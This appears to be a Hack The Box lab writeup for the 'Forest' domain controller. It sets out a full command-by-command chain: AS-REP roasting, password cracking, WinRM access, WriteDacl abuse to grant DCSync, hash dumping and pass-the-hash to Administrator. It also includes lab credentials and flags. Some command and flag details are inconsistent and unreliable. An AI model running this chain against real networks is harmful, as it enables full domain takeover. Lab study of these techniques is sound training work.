



HACK THE BOX · EASY · WINDOWS

Forest

Complete technical writeup ·
reproducible exploitation

Forest machine solved

HTB Forest · Retired · 2026-04-29

Author	Ramon Santos Sabarich / r4ms4nt
Type	Complete and archivable technical report
Objective	Document enumeration, Active Directory, pivot to a privileged user, and full compromise with clear and reusable traceability
Resolution date	2026-04-29



Standardized technical report for archiving,
reference, and traceability.

READING GUIDE

Contents

Final technical report for the Forest machine. The document keeps the operational flow, commands, evidence, interpretation and reusable lessons in a clean structure for reading, archiving and reference.

Lab profile

Executive summary

Scope and documentation criteria

1. Lab preparation and startup

Verified fact

Didactic reading

2. Initial enumeration with Nmap

Relevant ports

Interpretation

Branch decision

3. Local domain resolution

Verified fact

Reusable lesson

4. LDAP anonymous bind

Why this command is used

Verified fact

Reading the output

Interpretation

5. User cleanup and the first useful error

Observed problem

Methodological correction

Observed human users

Reusable lesson

6. svc-alfresco validation and ASREPROasting

Why that error matters

Practical correction

Verified fact

Interpretation

7. Offline cracking of the AS-REP

Verified fact

Credential validation

Implication

8. Initial WinRM access and user.txt retrieval

Verified facts

Reading groups

Interpretation

9. SharpHound attempt and switch to bloodhound-python

Verified fact

Technical decision

Result

Note on clock skew

10. Targeted BloodHound review with jq

Relevant users

Relevant groups

svc-alfresco object

Interpretation

11. Confirmation of WriteDacl over the domain

Verified fact

Implication

12. Creating a controlled account

First attempt and correction

Creation and memberships

Verified fact

Interpretation

13. Granting DCSync with impacket-dacledit



Why dclaudit makes sense

Command executed

Verified fact

14. Extracting the Administrator hash with secretdump

Verified fact

Interpretation

15. Administrative access through pass-the-hash

Verified fact

Technical closure

16. Final technical chain

17. Reusable lessons

17.1. A DC is recognized through a set of signals, not by one port alone

17.2. LDAP anonymous bind can be enough to start a full chain

17.3. User lists must be cleaned

17.4. An empty list is not a negative test

17.5. ASREPROasting confirms a Kerberos misconfiguration

17.6. The user flag is not the most important finding

17.7. BloodHound is not analyzed with broad grep

17.8. WriteDacl over the domain is a critical primitive

17.9. DCSync changes the impact of the intrusion

17.10. Pass-the-hash avoids depending on the cleartext password

18. Main evidence



HTB Forest — Didactic technical writeup

Lab profile

Field	Value
Platform	Hack The Box
Machine	Forest
Difficulty	Easy
Identified system	Windows Server 2016 Standard 14393
Dominant role	Active Directory Domain Controller
Domain	htb.local / HTB.LOCAL
Hostname	FOREST
FQDN	FOREST.htb.local
Initial observed IP	10.129.34.129
Final IP after reconnection	10.129.95.210
Compromised user	svc-alfresco
Recovered credential	svc-alfresco:s3rvice
Controlled account created	r4mforest:R4mForest!26
Administrator NTLM hash obtained	32693b11e6aa90eb43d32c72a07ceea6
Status	Solved

Executive summary

Forest is an Active Directory-oriented machine. The initial reconnaissance phase quickly shows a Domain Controller profile: DNS, Kerberos, LDAP, SMB, Global Catalog, ADWS and WinRM are exposed on the same host. Although there are also HTTP services associated with Microsoft HTTPAPI, they do not form a main web application; on this machine they are auxiliary signals of Windows services and remote administration.

The compromise chain follows a classic and highly educational sequence:

```
LDAP anonymous bind
-> domain object enumeration
-> svc-alfresco identification
-> ASREPROasting
-> offline cracking of the AS-REP
-> valid credential for svc-alfresco
-> WinRM access
-> Account Operators identification
-> relationship analysis with BloodHound
-> abuse of Exchange Windows Permissions with WriteDacl over the domain
-> granting DCSync permissions to a controlled account
-> extraction of the Administrator hash
-> pass-the-hash
-> administrative access and root.txt
```

The machine teaches three central ideas. First, LDAP enumeration in Active Directory can reveal a full path if interpreted correctly. Second, Kerberos is not only used for authentication; it can also become an attack surface when an account has pre-authentication disabled. Third, privilege escalation in Active Directory does not always go through immediate local privileges: it is often built by chaining groups, ACLs and delegated permissions.

Scope and documentation criteria

This document reconstructs the real lab resolution from the observed evidence. It does not present an alternative path or an invented exploitation route. When an output was ambiguous, it is marked as such. When a test failed because of sequence or environment, it is preserved as part of the technical learning process, because those errors help explain the methodology better.

The report keeps the useful didactic technical material: why each branch was chosen, which command made sense at each point, which output mattered, and how it changed the next decision.

1. Lab preparation and startup

The machine was started using the usual workflow through the `Inici-HTB` script, which prepares the target directory, checks connectivity, performs quick system recognition and launches the initial scans.

```
Inici-HTB FOREST 10.129.34.129
```

Verified fact

Initial connectivity was correct:

```
PING 10.129.34.129
1 packets transmitted, 1 received, 0% packet loss
```

The observed TTL was 127, compatible with a Windows system. The quick identification tool also classified the target as Windows.

Didactic reading

TTL should not be treated as absolute proof of the operating system, but it is a useful early signal. In this case, that signal was later reinforced by Nmap and SMB, so it was validated as part of a broader evidence set.

2. Initial enumeration with Nmap

The full port scan showed a broad surface that was very characteristic of an Active Directory environment.

Relevant ports

```
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldaps
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm / Microsoft HTTPAPI
49664-50033/tcp open dynamic RPC services
```

The service scan identified the domain and host:

```
Domain: htb.local
Host: FOREST
FQDN: FOREST.htb.local
OS: Windows Server 2016 Standard 14393
```

Interpretation

The combination of 53, 88, 389, 445, 3268, 3269 and 9389 is a strong signal of a Domain Controller. Port 5985/tcp indicates WinRM, which will be useful later if a valid credential is obtained. The HTTP services identified as Microsoft-HTTPAPI/2.0 return Not Found, so they do not justify opening a main web branch.

Branch decision

The dominant surface becomes:

```
AD / LDAP / Kerberos / SMB
```

The secondary branches are noted as follows:

- WinRM: pending valid credentials.
- SMB: useful for validation and complementary enumeration.
- HTTPAPI: not considered a main web application.

3. Local domain resolution

In Active Directory it is advisable to work with domain names and FQDNs, not only IP addresses. Tools related to LDAP, Kerberos or SMB may depend on correct domain resolution.

```
echo '10.129.34.129 forest.htb.local htb.local FOREST' | sudo tee -a /etc/hosts
getent hosts htb.local
getent hosts forest.htb.local
```

Verified fact

Initially, the resolution was associated with 10.129.34.129. Later, after an HTB reconnection, the machine IP changed to 10.129.95.210, so /etc/hosts had to be corrected:

```
sudo cp /etc/hosts /etc/hosts.bak_$(date +%Y%m%d_%H%M%S)
echo '10.129.95.210 forest.htb.local htb.local FOREST' | sudo tee -a /etc/hosts
getent hosts htb.local
getent hosts forest.htb.local
getent hosts FOREST
```

The final resolution correctly pointed to:

```
10.129.95.210 forest.htb.local htb.local FOREST
```

Reusable lesson

When an HTB machine is reconnected and its IP changes, it is not enough to modify manual commands. In Active Directory, /etc/hosts must also be reviewed, because stale resolution can cause confusing Kerberos, LDAP or Impacket errors.

4. LDAP anonymous bind

Since Nmap identified LDAP and Global Catalog, the next logical step was to check whether the domain allowed anonymous queries.

```
ldapsearch -x -H ldap://10.129.34.129:389 -b "dc=htb,dc=local" \
> content/ldap/ldap_anonymous_full.ldif
```

Why this command is used

ldapsearch allows querying the directory. The -x option forces simple authentication. Since no username or password is provided, the test attempts an anonymous query. The base dc=htb,dc=local is derived from the domain observed in Nmap.

Verified fact

The query returned domain objects without credentials. This confirms a working LDAP anonymous bind.

To reduce noise, relevant fields were extracted:

```
grep -Ei 'dn:|sAMAccountName|userPrincipalName|memberOf|servicePrincipalName|userAccountControl' \
content/ldap/ldap_anonymous_full.ldif \
| tee content/ldap/ldap_interesting_fields.txt
```

Reading the output

The output revealed a rich domain structure:

- built-in users and groups;
- Exchange accounts and mailboxes;
- FOREST\$ and EXCH01\$ computer accounts;
- Exchange security groups;
- human users (sebastien, santi, lucinda, andy, mark);
- the svc-alfresco account inside OU=Service Accounts.

The most important finding was:

```
CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local
```

Interpretation

The appearance of `svc-alfresco` does not prove a vulnerability by itself, but it does identify a candidate service account. Service accounts are often relevant because they may be configured for integrations, legacy authentication, or less strict policies.

5. User cleanup and the first useful error

The first user list was generated from all `sAMAccountName` values in the LDIF:

```
grep -i 'sAMAccountName:' content/ldap/ldap_anonymous_full.ldif \
| awk '{print $2}' \
| sort -u \
| tee content/users/domain_users_raw.txt
```

Observed problem

The resulting list was not a clean user list. It included groups and objects with spaces cut by `awk`. For example, `Remote Management Users` could appear reduced to `Remote`.

Methodological correction

To avoid mixing users, groups and system objects, the query was repeated with a filter for real user objects:

```
ldapsearch -x -H ldap://10.129.95.210:389 -b "dc=htb,dc=local" \
'(&(objectCategory=person)(objectClass=user))' \
sAMAccountName userPrincipalName userAccountControl memberOf description servicePrincipalName
| tee content/ldap/ldap_users_clean.ldif
```

A cleaner list was then created:

```
grep -i '^sAMAccountName:' content/ldap/ldap_users_clean.ldif \
| awk '{print $2}' \
| sort -u \
| tee content/users/domain_users_clean.txt
```

Observed human users

```
sebastien
lucinda
andy
mark
santi
```

Reusable lesson

In Active Directory, not every `sAMAccountName` is a human account that is useful for Kerberos. There are mailboxes, internal accounts, computers, groups and system objects. Before using a list as input for Kerberos tools, it should be cleaned with proper LDAP filters.

6. svc-alfresco validation and ASREPROasting

The ASREPROasting path requires a specific condition: a user account must have Kerberos pre-authentication disabled. In the notes, an attempt was made to generate a candidate file through LDAP, but a sequencing error occurred: `grep` was run against an `asrep_candidates.ldif` file that did not yet exist. That created an empty `asrep_candidates.txt`.

Why that error matters

An empty list does not produce a negative test. If `GetNPUsers` is run with a file that contains no users, the candidate account is not really being checked. In this case, the lack of output did not mean that `svc-alfresco` was not vulnerable; it meant that the tool received no valid user.

Practical correction

Since `svc-alfresco` had already appeared as an object under `OU=Service Accounts`, a minimal list with that account was created:

```
printf 'svc-alfresco\n' | tee content/users/asrep_candidates.txt
```

The AS-REP was then requested with Impacket:

```
impacket-GetNPUsers htb.local/ \  
-dc-ip 10.129.95.210 \  
-usersfile content/users/asrep_candidates.txt \  
-no-pass \  
-outputfile loot/ad/asrep_hashes.txt
```

Verified fact

Kerberos returned an AS-REP hash for the account:

```
$krb5asrep$23$svc-alfresco@HTB.LOCAL:...
```

Interpretation

This confirms that `svc-alfresco` does not require Kerberos pre-authentication. ASREPROasting does not require knowing the password in advance; it requests encrypted material that can be attacked offline. The value of the finding is that the later attack does not generate login attempts against the domain.

7. Offline cracking of the AS-REP

The obtained hash was attacked offline with John:

```
john --wordlist=/usr/share/wordlists/rockyou.txt loot/ad/asrep_hashes.txt  
john --show loot/ad/asrep_hashes.txt | tee loot/ad/asrep_cracked.txt
```

Verified fact

John recovered the password:

```
svc-alfresco:s3rvice
```

Credential validation

The password was first validated against SMB:

```
netexec smb 10.129.95.210 -u svc-alfresco -p 's3rvice'
```

The output confirmed valid authentication:

```
[+] htb.local\svc-alfresco:s3rvice
```

It was then validated against WinRM:

```
netexec winrm 10.129.95.210 -u svc-alfresco -p 's3rvice'
```

The relevant output was:

```
[+] htb.local\svc-alfresco:s3rvice (Pwn3d!)
```

Implication

The credential is not only valid for the domain; it also allows opening a remote session via WinRM. This changes the active branch: it stops being a purely Kerberos phase and becomes an initial foothold phase.

8. Initial WinRM access and user.txt retrieval

The remote session was opened with Evil-WinRM:

```
evil-winrm -i 10.129.95.210 -u 'svc-alfresco' -p 's3rvice'
```

Inside the session, the context was verified:

```
whoami
hostname
whoami /user
whoami /groups
pwd
```

Verified facts

```
whoami -> htb\svc-alfresco
hostname -> FOREST
pwd -> C:\Users\svc-alfresco\Documents
```

The user SID was:

```
S-1-5-21-3072663084-364016917-1341370565-1147
```

The user flag was located at:

```
dir C:\Users\svc-alfresco\Desktop
type C:\Users\svc-alfresco\Desktop\user.txt
```

Flag obtained:

```
789fa35a3fbdddb31ceee14fa4bdc109
```

Reading groups

The output of `whoami /groups` was more important than the flag itself. It showed that `svc-alfresco` belonged to:

```
BUILTIN\Remote Management Users
BUILTIN\Account Operators
HTB\Privileged IT Accounts
HTB\Service Accounts
```

Interpretation

`Remote Management Users` explains WinRM access. `Service Accounts` explains the functional context of the account. The critical item is `Account Operators`, because this group can create and modify accounts and add users to certain non-protected groups. Escalation stops being a classic local search and becomes an Active Directory permissions problem.

9. SharpHound attempt and switch to bloodhound-python

The next phase required analyzing domain relationships. First, `SharpHound.exe` was uploaded and run from the WinRM session:

```
upload SharpHound.exe
.\SharpHound.exe -c All
```

Verified fact

The upload worked, but execution failed due to .NET incompatibility:

```
The .Net Runtime is not compatible with SharpHound. Please update to .Net 4.7.2.
```

Technical decision

There was no need to insist on that SharpHound version. Collection could be done from Parrot with `bloodhound-python`, avoiding dependence on the victim machine's .NET runtime.

```
cd /home/r4mon/pentest/targets/HTB/easy/FOREST
mkdir -p content/bloodhound
cd content/bloodhound

bloodhound-python \
-u 'svc-alfresco' \
-p 's3rvice' \
-d htb.local \
-dc forest.htb.local \
-ns 10.129.95.210 \
-c All
```

Result

The tool found:

```
1 domain
2 computers
32 users
76 groups
2 GPOs
15 OUs
20 containers
0 trusts
```

The main JSON files were generated:

```
computers.json
containers.json
domains.json
gpos.json
groups.json
ous.json
users.json
```

And compressed for BloodHound:

```
zip forest_bloodhound_$(date +%Y%m%d_%H%M%S).zip *.json
```

Generated file:

```
content/bloodhound/forest_bloodhound_20260429_170450.zip
```

Note on clock skew

During collection, this appeared:

```
KRB_AP_ERR_SKEW(Clock skew too great)
```

This indicates a time skew that can affect Kerberos. However, the collection obtained enough LDAP data to analyze users, groups, OUs and ACLs.

10. Targeted BloodHound review with jq

A broad `grep` over the JSON files was too noisy. BloodHound JSON files are not meant to be read raw. More targeted `jq` queries were used instead.

Relevant users

```
jq -r '.data[].Properties.name' content/bloodhound/*users.json \
| grep -Ei 'svc-alfresco|sebastien|lucinda|andy|mark|santi'
```

Key output:

```
SANTI@HTB.LOCAL
ANDY@HTB.LOCAL
MARK@HTB.LOCAL
SVC-ALFRESCO@HTB.LOCAL
LUCINDA@HTB.LOCAL
SEBASTIEN@HTB.LOCAL
```

Relevant groups

```
jq -r '.data[].Properties.name' content/bloodhound/*groups.json \
| grep -Ei 'account operators|exchange windows permissions|domain admins|remote management
users|service accounts|privileged it accounts'
```

Key output:

```
PRIVILEGED IT ACCOUNTS@HTB.LOCAL
SERVICE_ACCOUNTS@HTB.LOCAL
EXCHANGE_WINDOWS_PERMISSIONS@HTB.LOCAL
ACCOUNT_OPERATORS@HTB.LOCAL
DOMAIN_ADMINS@HTB.LOCAL
REMOTE_MANAGEMENT_USERS@HTB.LOCAL
```

svc-alfresco object

```
jq '.data[] | select(.Properties.name=="SVC-ALFRESCO@HTB.LOCAL")' \
content/bloodhound/*users.json
```

Relevant fields:

```
enabled: true
dontreqpreauth: true
pwdneverexpires: true
hasspn: false
admincount: true
samaccountname: svc-alfresco
```

Interpretation

`dontreqpreauth: true` retrospectively confirms why ASREProasting worked. `hasspn: false` indicates that this account was not a direct Kerberoasting candidate through SPN. The `Aces` block of the `svc-alfresco` object must not be confused with permissions that `svc-alfresco` has over other objects: they are ACLs over the user object itself.

11. Confirmation of WriteDacL over the domain

The likely path went through Exchange Windows Permissions, so its SID was extracted:

```
EWP_SID=$(jq -r '.data[]
| select(.Properties.name=="EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL")
| .ObjectIdentifier' content/bloodhound/*groups.json)

echo "$EWP_SID"
```

SID obtained:

```
S-1-5-21-3072663084-364016917-1341370565-1121
```

The domain ACLs were then checked:

```
jq -r --arg EWP "$EWP_SID" '
.data[]
| select(.Properties.name=="HTB.LOCAL")
| .Aces[]?
| select(.PrincipalSID==$EWP)
| [.RightName, .PrincipalType, .IsInherited] | @tsv
' content/bloodhound/*domains.json
```

Verified fact

The output confirmed:

```
WriteDacL    Group    false
WriteDacL    Group    false
```

The domain object was:

```
DC=HTB,DC=LOCAL
```

and was marked as a high-value target.

Implication

The critical relationship is confirmed:

```
EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL -- WriteDacL --> HTB.LOCAL
```

This makes it possible to build an escalation path without directly adding an account to `Domain Admins`. The idea is to abuse `WriteDacL` over the domain to grant DCSync-style replication permissions to a controlled account.

12. Creating a controlled account

To avoid altering existing users, a new domain account called `r4mforest` was created.

First attempt and correction

The first attempt used a password longer than 14 characters. `net user` raised an interactive compatibility question for pre-Windows 2000 systems, and Evil-WinRM did not handle the response well. The user was not created.

The correction was to use a complex password of 14 characters or fewer:

```
R4mForest!26
```

Creation and memberships

The commands were executed inside Evil-WinRM as `svc-alfresco`:

```
net user r4mforest R4mForest!26 /add /domain
net user r4mforest /domain
net group "Exchange Windows Permissions" r4mforest /add /domain
net localgroup "Remote Management Users" r4mforest /add
net user r4mforest /domain
```

Verified fact

The account was created and active. The observed memberships were:

```
Domain Users
Exchange Windows Permissions
Remote Management Users
```

Interpretation

This confirms that `svc-alfresco`, through its `Account Operators` membership, can create users and modify non-protected groups. `Exchange Windows Permissions` is not marked as a protected group, so the controlled account could be added to it.

The path is now prepared:

```
r4mforest
-> member of Exchange Windows Permissions
-> group with WriteDacL over HTB.LOCAL
-> ability to grant DCSync permissions
```

13. Granting DCSync with `impacket-dacledit`

Initially, `PowerView` and `Add-ObjectACL` were considered, but `PowerView.ps1` was not available in the tools folder. Instead of blocking the phase, `impacket-dacledit` was used from Parrot.

Why `dacledit` makes sense

`PowerView` and `impacket-dacledit` can both be used to modify ACLs. The practical difference is where they run:

```
PowerView      -> runs inside Windows, via WinRM
impacket-dacledit -> runs from Parrot against LDAP/AD
```

Since `r4mforest` was already inside `Exchange Windows Permissions`, and that group had `WriteDacL` over the domain, `dacledit` was a direct and clean path.

Command executed

```
impacket-dacledit \
  -action write \
  -rights DCSync \
  -principal r4mforest \
  -target-dn 'DC=htb,DC=local' \
  'htb.local/r4mforest:R4mForest!26' \
  -dc-ip 10.129.95.210
```

Verified fact

The output confirmed:

```
[*] DACL backed up to dacledit-20260429-175029.bak
[*] DACL modified successfully!
```

This means that the domain ACL was modified and that `r4mforest` received enough replication permissions to attempt `DCSync`.

14. Extracting the Administrator hash with secretdump

With DCSync permissions applied, secretdump was executed while limiting extraction to the Administrator user:

```
impacket-secretdump \
'htb.local/r4mforest!R4mForest!26@10.129.95.210' \
-just-dc-user Administrator \
-outputfile loot/ad/secretdump_administrator
```

Verified fact

secretdump used DRSUAPI to obtain NTDS.DIT secrets:

```
[*] Using the DRSUAPI method to get NTDS.DIT secrets
```

The Administrator NTLM hash was obtained:

```
32693b11e6aa90eb43d32c72a07ceea6
```

Kerberos AES and DES keys for the administrator user were also obtained.

Interpretation

DCSync is not about cracking the administrator password. It abuses domain replication permissions to request directory secrets. The impact is critical: if an account can replicate secrets, it can obtain hashes of privileged accounts.

15. Administrative access through pass-the-hash

It was not necessary to crack the Administrator hash. In Windows, the NTLM hash can be reused directly in certain protocols through pass-the-hash.

```
evil-winrm -i 10.129.95.210 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6'
```

Inside the session:

```
whoami
hostname
pwd
```

Verified fact

```
whoami -> htb\administrator
hostname -> FOREST
pwd -> C:\Users\Administrator\Documents
```

The final flag was located at:

```
dir C:\Users\Administrator\Desktop
type C:\Users\Administrator\Desktop\root.txt
```

Flag obtained:

```
2a7cbb6f92926190213605fa2ba841d3
```

Technical closure

Administrative compromise is confirmed. The machine is solved.

16. Final technical chain

```
1. Nmap identifies a Windows Server 2016 Domain Controller.
2. LDAP anonymous bind allows domain object enumeration.
3. Enumeration reveals svc-alfresco in OU=Service Accounts.
4. Kerberos returns an AS-REP for svc-alfresco.
5. John cracks the hash and recovers s3rvice.
6. SMB and WinRM validate the credential.
7. Evil-WinRM allows access as htb\svc-alfresco.
8. whoami /groups reveals Account Operators.
9. BloodHound confirms relevant users, groups and relationships.
10. Exchange Windows Permissions has WriteDacL over HTB.LOCAL.
11. svc-alfresco creates r4mforest and adds it to Exchange Windows Permissions.
12. impacket-dacledit grants DCSync to r4mforest.
13. secretdump extracts the Administrator NTLM hash.
14. Evil-WinRM uses pass-the-hash with Administrator.
15. root.txt is obtained.
```

17. Reusable lessons

17.1. A DC is recognized through a set of signals, not by one port alone

88/tcp, 389/tcp, 445/tcp, 3268/tcp, 3269/tcp, 9389/tcp, a visible domain and the host FQDN form much stronger evidence than any individual port. Correct surface classification avoids wasting time on false web branches.

17.2. LDAP anonymous bind can be enough to start a full chain

In Forest, LDAP allowed reading the domain structure, users, OUs, Exchange objects and service accounts. That enumeration is not direct exploitation, but it provides the information needed to decide the next technique.

17.3. User lists must be cleaned

Extracting all `sAMAccountName` values without filtering can produce lists contaminated with groups, computers and internal objects. Before using Kerberos or password attack tools, filtering for real users is advisable.

17.4. An empty list is not a negative test

The failed attempt with an empty `asrep_candidates.txt` did not demonstrate that `svc-alfresco` was not vulnerable. It only showed that the tool received no users. Documenting this type of error prevents valid hypotheses from being discarded because of sequencing mistakes.

17.5. ASREPROasting confirms a Kerberos misconfiguration

`dontreqpreauth: true` allows encrypted material to be requested without knowing a password beforehand. The relevant attack happens offline during hash cracking.

17.6. The user flag is not the most important finding

The real pivot was `whoami /groups`. Membership in `Account Operators` allowed moving from initial access to a domain escalation path.

17.7. BloodHound is not analyzed with broad grep

BloodHound JSON files contain many nested relationships. For quick checks, `jq` is more precise. For complete paths, the BloodHound visual interface remains the most suitable tool.

17.8. WriteDacL over the domain is a critical primitive

`Exchange Windows Permissions` was not a Domain Admins group, but it had `WriteDacL` over `HTB.LOCAL`. That relationship allowed DCSync permissions to be granted to a controlled account.

17.9. DCSync changes the impact of the intrusion

An account with DCSync permissions can request domain secrets. By obtaining the `Administrator` hash, the compromise moves from delegated-privilege user to effective administrative control.

17.10. Pass-the-hash avoids depending on the cleartext password

The `Administrator` NTLM hash was enough to open WinRM as administrator. Cracking the password was not required.

18. Main evidence

Phase	Evidence
Classification	FOREST.htb.local, htb.local, Windows Server 2016, AD ports
LDAP	Anonymous query returns domain objects
Candidate account	CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local
ASREProasting	\$krb5asrep\$23\$svc-alfresco@HTB.LOCAL:...
Cracking	svc-alfresco:s3rvice
Validation	netexec winrm ... (Pwn3d!)
Foothold	htb\svc-alfresco through Evil-WinRM
User flag	789fa35a3fbddb31ceee14fa4bdc109
Pivot	BUILTIN\Account Operators
BloodHound	EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL exists
Critical ACL	WriteDacl over HTB.LOCAL
Controlled account	r4mforest:R4mForest!26
DCSync	DACL modified successfully! and secretsdump through DRSUAPI
Administrator hash	32693b11e6aa90eb43d32c72a07ceea6
Admin	htb\administrator through Evil-WinRM
Root flag	2a7cbb6f92926190213605fa2ba841d3

